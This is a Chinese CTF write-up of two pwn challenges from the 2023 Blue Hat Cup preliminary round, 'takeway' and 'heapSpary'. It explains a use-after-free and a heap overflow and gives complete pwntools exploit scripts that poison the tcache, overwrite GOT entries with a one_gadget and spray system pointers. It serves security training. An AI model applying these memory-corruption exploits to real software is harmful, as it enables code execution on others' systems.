0%

蓝帽杯-初赛CTF2023

takeway

1
2
3
4
5
6
takeway: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=eca4ff2062c2289a398fdd0099d226072093950f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,Partial RELRO,Canary,NX

漏洞分析

UAF 漏洞:

1
2
3
4
5
6
7
8
printf("Please input your order index: ");
__isoc99_scanf("%d", &index);
if ( index >= numg || (index & 0x80000000) != 0 )
{
puts("Invalid order!");
exit(1);
}
free(chunk_list[index]);

入侵思路

程序限制了申请块的数目:

1
2
3
4
5
if ( index >= numg || (index & 0x80000000) != 0 || chunk_list[index] )
{
puts("Invalid order!");
exit(1);
}

由于程序没有开 PIE,因此我们可以直接申请 numg 所在的空间,并修改 numg

最后直接申请到 GOT 表,完成泄露并且修改 dl_runtime_resolve 为 one_gadget 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './takeway1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p,"b* 0x40154B\nb* 0x40135C\nb* 0x4016A4")
#gdb.attach(p,"b *$rebase(0x1409)\nb *$rebase(0x137A)\n")
pause()

def cmd(op):
sla("choose",str(op))

def add(index,name,data):
cmd(1)
sla("index",str(index))
sa("name",name)
sa("remark",data)

def dele(index):
cmd(2)
sla("index",str(index))

def edit(index,name,key=0):
cmd(3)
sla("index",str(index))
leak_addr = 0
if key == 1:
ru("a"*8)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
sla("is: ",name)
return leak_addr

target_addr = 0x404080
hole_got2 = 0x404010
pust_got = 0x404020
exit_got = 0x404070
setbuf_got = 0x404038
printf_got = 0x404040
setresgid_got = 0x404030

for i in range(2):
add(i,"a"*7,"123")

for i in range(2):
dele(i)

edit(1,p64(target_addr))

add(2,p32(0x1000),p32(0x1000))
add(3,p32(0x1000),p32(0x1000))

for i in range(2):
add(i+9,"a"*7,"123")

for i in range(2):
dele(i+9)

edit(10,p64(hole_got2))
add(11,p8(0x10),p8(0x10))
add(12,p8(0x10),"a"*0x8)

leak_addr = edit(12,"\x00",key=1)
libc_base = leak_addr - 0x875a0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
success("system_libc >> "+hex(system_libc))

one_gadgets = [0xe6aee,0xe6af1,0xe6af4]
one_gadget = one_gadgets[1] + libc_base
success("one_gadget >> "+hex(one_gadget))

edit(12,p64(one_gadget))
#debug()
cmd(4)

p.interactive()

heapSpary

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
1
2
3
4
5
6
main: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=efe84eed376bd21cda8887c5de4e43ec76f723ac, for GNU/Linux 3.2.0, stripped
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 32位,dynamically,全开

漏洞分析

程序可以执行函数指针:

1
2
3
4
5
6
7
8
if ( index <= 0xFFF && chunk_list[index].data )
{
func = chunk_list[index].space + chunk_list[index].data;
if ( **(_DWORD **)func )
--**(_DWORD **)func;
else
(*(void (__cdecl **)(const char *))(*(_DWORD *)func + 4))("cat flag");
}

程序的写入没有限制字节数,可以无限堆溢出:

1
2
3
4
5
puts("Please input your head data.");
reads(
*((char **)&chunk_list[0].data + num_2 * (m + i * num_16)),
*(&chunk_list[0].space + (m + i * num_16) * num_2));
puts("Which flag do you want?");

申请模块中允许的 size 范围非常大,可以调用 mmap 进行申请:

1
if ( space > 0 && space <= 0x20000 )

入侵思路

首先程序有一个小点需要注意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
puts("Please input your head data.");
reads(
*((char **)&chunk_list[0].data + num_2 * (m + i * num_16)),
*(&chunk_list[0].space + (m + i * num_16) * num_2));
puts("Which flag do you want?");
key = readn();
chunk = *(&chunk_list[0].space + (m + i * num_16) * num_2) + *(&chunk_list[0].data + num_2 * (m + i * num_16));
switch ( key )
{
case 1:
*(_BYTE *)chunk = (unsigned __int8)flag1 + 0xFFFFC064 + (unsigned __int8)&off_3F9C - 4;
*(_WORD *)(chunk + 1) = (unsigned int)flag1 >> 8;
*(_BYTE *)(chunk + 3) = (unsigned int)flag1 >> 24;
break;
  • 在读取函数 reads 中会对字符串末尾置零,而后续写入地址的操作会将这个 \x00 给覆盖掉

利用这个特性可以轻松泄露程序基地址:

1
2
3
4
5
6
7
8
add(0x28,"a"*0x28)
show(0)

ru("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
pro_base = leak_addr - 0x1524
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

用类似的方法可以泄露 libc_base:

1
2
3
4
5
6
7
8
9
10
11
add(0x200,"a"*1)
dele()
add(1,"a")

show(0)
ru("Heap information is a")
p.recv(3)
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
libc_base = leak_addr - 0x22a756
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

但如果想要在泄露 libc_base 的同时泄露 heap_base 的话,则需要一点技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def show(index):
cmd(2)
sla("index :",str(index))
ru("Heap information is ")
p.recv(4)
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
return leak_addr

add(0x200,"a"*1)
dele()
add(1,"a")

leak_addr = show(0)
libc_base = leak_addr - 0x22a756
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
success("system_libc >> "+hex(system_libc))

add(0x90,"b"*1)
dele()
add(1,"b")

key = 0
heap_base = 0
for i in range(30):
leak_addr = show(i)
if leak_addr < 0x57000000 and leak_addr > 0x54000000:
heap_base = leak_addr - 0x1956
heap_base = heap_base & 0xfffff000
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))
key = 1

if key == 0:
p.close()

接下来的操作就有点玄学了,我们先看一下后门函数的逻辑:

1
2
3
4
5
6
7
8
if ( index <= 0xFFF && chunk_list[index].data )
{
func = chunk_list[index].space + chunk_list[index].data;
if ( **(_DWORD **)func )
--**(_DWORD **)func;
else
(*(void (__cdecl **)(const char *))(*(_DWORD *)func + 4))("cat flag");
}
  • func 地址位于该 chunk 的末尾(就是写入函数指针的位置)
  • 两次解引用后数值必须为“0”,如果数值“0”后是 system 就可以拿到 flag

由于程序的申请操作受随机数影响,导致堆风水很乱,到这里时就只能尽可能多的写入 system 和 system 所在堆地址以提升打通的概率

  • PS:有点像打内核题时用的堆喷技巧(kernel 的 slab/slub 对释放块有随机化保护,我猜题目也是为了模拟这一点)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding:utf-8 -*-
from pwn import *

arch = 32
challenge = './main'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1CA1)\n")
#pause()

def cmd(op):
sla("choose :",str(op))

def add(space,data,flag=1):
cmd(1)
sla("need :",str(space))
for i in range(16):
sla("data",data)
sla("want?",str(flag))

def show(index):
cmd(2)
sla("index :",str(index))
ru("Heap information is ")
p.recv(4)
leak_addr = u64(p.recv(4).ljust(8,"\x00"))
return leak_addr

def dele():
cmd(3)

def action(index):
cmd(5)
sla("index :",str(index))

add(0x200,"a"*1)
dele()
add(1,"a")

leak_addr = show(0)
libc_base = leak_addr - 0x22a756
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

system_libc = libc_base + libc.sym["system"]
success("system_libc >> "+hex(system_libc))

add(0x90,"b"*1)
dele()
add(1,"b")

key = 0
heap_addr = 0
for i in range(30):
leak_addr = show(i)
if leak_addr < 0x57000000 and leak_addr > 0x54000000:
heap_addr = leak_addr + 0x4e5a
success("leak_addr >> "+hex(leak_addr))
success("heap_addr >> "+hex(heap_addr))
key = 1

if key == 0:
p.close()

dele()
dele()
dele()
dele()
dele()

#debug()

add(0x8,"a")
payload = p32(heap_addr)*0x1000+(p32(0)+p32(system_libc))*0x1000
add(0x8,payload)
action(0)

p.interactive()